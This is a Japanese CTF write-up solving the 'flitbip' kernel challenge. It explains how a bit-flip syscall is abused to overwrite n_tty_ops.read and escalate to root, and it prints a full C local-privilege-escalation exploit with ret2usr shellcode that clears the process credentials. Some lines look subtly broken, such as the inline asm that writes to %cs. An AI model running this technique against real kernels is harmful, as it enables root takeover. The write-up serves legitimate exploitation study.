やっぱりリストを埋めるのそんなに楽しくないため、次からは面白そうな問題だけ解いていこうと思います。

static Link to this heading

basic Link to this heading

basic.sh
1/ # cat /proc/version
2Linux version 4.17.0 (aleph@codin) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9)) #1 Fri J8
3
4  -append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null \

SMEP 無効・SMAP 無効・KASLR 無効・oops->panic

new syscall Link to this heading

新しく syscall が追加されている。

flitbip.c
 1#include <linux/kernel.h>
 2#include <linux/init.h>
 3#include <linux/sched.h>
 4#include <linux/syscalls.h>
 5
 6#define MAXFLIT 1
 7
 8#ifndef __NR_FLITBIP
 9#define FLITBIP 333
10#endif
11
12long flit_count = 0;
13EXPORT_SYMBOL(flit_count);
14
15SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
16{
17        if (flit_count >= MAXFLIT)
18        {
19                printk(KERN_INFO "flitbip: sorry :/\n");
20                return -EPERM;
21        }
22
23        *addr ^= (1ULL << (bit));
24        flit_count++;
25
26        return 0;
27}

任意のアドレスの任意の bit を反転させることができる。flist_countによって回数を制限しているが、KASLR 無いからflist_countを最初に反転させることで任意回ビット反転ができる。

get RIP Link to this heading

任意アドレスに任意の値を書き込むことができる状況である。しかも SMEP が無効のため、RIP さえ取れればそれだけで終わる。このような場合には、struct tty_ldisc_ops n_tty_opsを書き換えるのが便利らしい。これは TTY 関連の関数テーブルで、新規ターミナルのデフォルトテーブルとして利用され、且つ RW になっているもの。

ex.c
 1# 構造体
 2static struct tty_ldisc_ops n_tty_ops = {
 3	.magic           = TTY_LDISC_MAGIC,
 4	.name            = "n_tty",
 5	.open            = n_tty_open,
 6	.close           = n_tty_close,
 7	.flush_buffer    = n_tty_flush_buffer,
 8	.read            = n_tty_read,
 9	.write           = n_tty_write,
10	.ioctl           = n_tty_ioctl,
11	.set_termios     = n_tty_set_termios,
12	.poll            = n_tty_poll,
13	.receive_buf     = n_tty_receive_buf,
14	.write_wakeup    = n_tty_write_wakeup,
15	.receive_buf2	 = n_tty_receive_buf2,
16};
17# 初期化
18static int __init pps_tty_init(void)
19{
20	int err;
21
22	/* Inherit the N_TTY's ops */
23	n_tty_inherit_ops(&pps_ldisc_ops);
24(snipped)

というわけで、こいつのreadを書き換えてscanf()なりgets()なりを呼ぶことで RIP が取れる。

LPE Link to this heading

あとは、用意した shellcode を踏ませれば終わり。KASLR 無効よりcurrentの場所が分かるため直接current->cred.uid等を NULL クリアする。

exploit Link to this heading

exploit.c
  1#define _GNU_SOURCE
  2#include <string.h>
  3#include <stdio.h>
  4#include <fcntl.h>
  5#include <stdint.h>
  6#include <unistd.h>
  7#include <assert.h>
  8#include <stdlib.h>
  9#include <signal.h>
 10#include <poll.h>
 11#include <pthread.h>
 12#include <err.h>
 13#include <errno.h>
 14#include <sched.h>
 15#include <linux/bpf.h>
 16#include <linux/filter.h>
 17#include <linux/userfaultfd.h>
 18#include <linux/prctl.h>
 19#include <sys/syscall.h>
 20#include <sys/ipc.h>
 21#include <sys/msg.h>
 22#include <sys/prctl.h>
 23#include <sys/ioctl.h>
 24#include <sys/mman.h>
 25#include <sys/types.h>
 26#include <sys/xattr.h>
 27#include <sys/socket.h>
 28#include <sys/uio.h>
 29
 30
 31// commands
 32#define DEV_PATH ""   // the path the device is placed
 33
 34// constants
 35#define PAGE 0x1000
 36#define FAULT_ADDR 0xdead0000
 37#define FAULT_OFFSET PAGE
 38#define MMAP_SIZE 4*PAGE
 39#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
 40// (END constants)
 41
 42// globals
 43// (END globals)
 44
 45
 46// utils
 47#define WAIT getc(stdin);
 48#define ulong unsigned long
 49#define scu static const unsigned long
 50#define NULL (void*)0
 51#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 52                        } while (0)
 53#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
 54                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
 55ulong user_cs,user_ss,user_sp,user_rflags;
 56struct pt_regs {
 57	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
 58	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
 59	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
 60	ulong orig_ax; ulong ip; ulong cs; ulong flags;
 61  ulong sp; ulong ss;
 62};
 63void print_regs(struct pt_regs *regs)
 64{
 65  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
 66  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
 67  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
 68  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
 69  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
 70}
 71void NIRUGIRI(void)
 72{
 73  setreuid(0, 0);
 74  char *argv[] = {"/bin/sh",NULL};
 75  char *envp[] = {NULL};
 76  execve("/bin/sh",argv,envp);
 77}
 78// should compile with -masm=intel
 79static void save_state(void) {
 80  asm(
 81      "movq %0, %%cs\n"
 82      "movq %1, %%ss\n"
 83      "movq %2, %%rsp\n"
 84      "pushfq\n"
 85      "popq %3\n"
 86      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 87}
 88
 89const ulong n_tty_ops_read = 0xffffffff8183e320 + 0x30;
 90const ulong n_tty_read = 0xffffffff810c8510;
 91
 92static void shellcode(void){
 93  // まずはお直し
 94  *((ulong*)n_tty_ops_read) = n_tty_read;
 95
 96  // そのあとpwn
 97  scu current_task = 0xffffffff8182e040;
 98  scu cred = current_task + 0x3c0;
 99  for(int ix=0; ix!=3; ++ix)
100    ((uint *)cred)[ix] = 0;
101  asm(
102    "swapgs\n"
103    "mov %%rax, %0\n"
104    "push %%rax\n"
105    "mov %%rax, %1\n"
106    "push %%rax\n"
107    "mov %%rax, %2\n"
108    "push %%rax\n"
109    "mov %%rax, %3\n"
110    "push %%rax\n"
111    "mov %%rax, %4\n"
112    "push %%rax\n"
113    "iretq\n"
114    :: "r" (user_ss), "r" (user_sp), "r"(user_rflags), "r" (user_cs), "r" (&NIRUGIRI) : "memory"
115  );
116}
117// (END utils)
118
119// flitbip
120const ulong flit_count = 0xffffffff818f4f78;
121
122long _fff(long *addr, long bit){
123  asm(
124      "mov rax, 333\n"
125      "syscall\n"
126  );
127}
128long fff(long *addr, long bit){
129  long tmp = _fff(addr, bit);
130  assert(tmp == 0);
131  return tmp;
132}
133// (END flitbip)
134
135int main(int argc, char *argv[]) {
136  save_state();
137  int pid = getpid();
138  printf("[+] my pid: %lx\n", pid);
139
140  char buf[0x200];
141  printf("[+] shellcode @ %p\n", shellcode);
142  ulong flipper = n_tty_read ^ (ulong)&shellcode;
143  fff(flit_count, 63);
144
145  for(int ix=0; ix!=64; ++ix){
146    if(flipper & 1 == 1){
147      fff(n_tty_ops_read, ix);
148    }
149    flipper >>= 1;
150  }
151
152  fgets(buf, sizeof(buf), stdin);
153
154  printf("[!] unreachable\n");
155  return 0;
156}

アウトロ Link to this heading

違う、こういう問題を解きたいんじゃない。。。。。。。。。。。 次からは簡単過ぎる問題は飛ばして良さげな問題だけ見繕おうと思います。

参考 Link to this heading